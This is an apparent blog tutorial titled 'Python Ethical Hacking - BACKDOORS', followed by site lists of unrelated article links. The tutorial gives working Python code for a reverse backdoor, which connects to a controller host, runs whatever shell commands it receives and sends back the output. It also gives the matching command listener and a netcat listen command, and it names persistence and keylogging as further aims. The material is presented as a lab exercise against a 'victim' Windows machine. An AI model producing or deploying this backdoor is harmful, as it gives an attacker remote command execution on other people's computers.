Python Ethical Hacking - BACKDOORS(1)
2024-08-31 00:18:37
REVERSE_BACKDOOR
- Access file system.
- Execute system commands.
- Download files.
- Upload files.
- Persistence.
BACKDOORS
An interactive program gives access to a system its executed on.
- Command execution.
- Access file system.
- Upload/download files.
- Run keylogger.
- ...etc
Write the Reverse backdoor Python script and execute on Windows machine. (Victim machine)
#!/usr/bin/env python
import socket
import subprocess def execute_system_command(command):
return subprocess.check_output(command, shell=True) connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("10.0.0.43", 4444)) connection.send(b"\n[+] Connection established.\n") while True:
command = connection.recv(1024).decode()
command_result = execute_system_command(command)
connection.send(command_result) connection.close()
Run the listening progress on the Kali Linux to establish the connection and execute the system commands.
nc -vv -l -p
Write and execute the Python Listener:
#!/usr/bin/env python
import socket listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("10.0.0.43", 4444))
listener.listen(0)
print("[+] Waiting for incoming connections")
connection, address = listener.accept()
print("[+] Got a connection from " + str(address)) while True:
command = input(">> ").encode()
connection.send(command)
result = connection.recv(1024).decode()
print(result)
最新文章
- 浅谈ajax
- 两个文件去重的N种姿势
- 夺命雷公狗---TP商城----TP之配置环境---1
- SOD 精选细节--常用工具
- C# 类中隐藏基类方法和Partial
- 第一篇:python基础
- oracle where与having
- Qt 之 入门例程(二)
- jenkins跑maven项目的时候报错,看评论
- 201521123042《Java程序设计》 第7周学习总结
- 在Windows 下如何使用 AspNetCore Api 和 consul
- Google Quic协议
- ModelForm的使用
- HDU2444(KB10-B 二分图判定+最大匹配)
- 【转帖】 redis 命令 From https://www.cnblogs.com/zhouweidong/p/7550717.html
- unity3d-小案例之角色简单漫游
- Microsoft Office2003打开office2007文件的补丁
- MySQL事务之-2
- URAL 1106 Two Teams (DFS)
- JAVA数组的遍历和取最值
热门文章
- 01MySQL内核分析-The Skeleton of the Server Code
- Zookeeper分布式过程协同技术 - 部署及设置
- 入门大数据---Spark_Transformation和Action算子
- 报错 version `GLIBCXX_3.4.22' not found
- 【部分】ASP.NET MVC的Controller接收输入详解
- 策略模式、策略模式与Spring的碰撞
- 断路器Hystrix(Feign)
- 多线程下的list
- Guava RateLimiter限流器使用示例
- CSS三种布局模型是什么?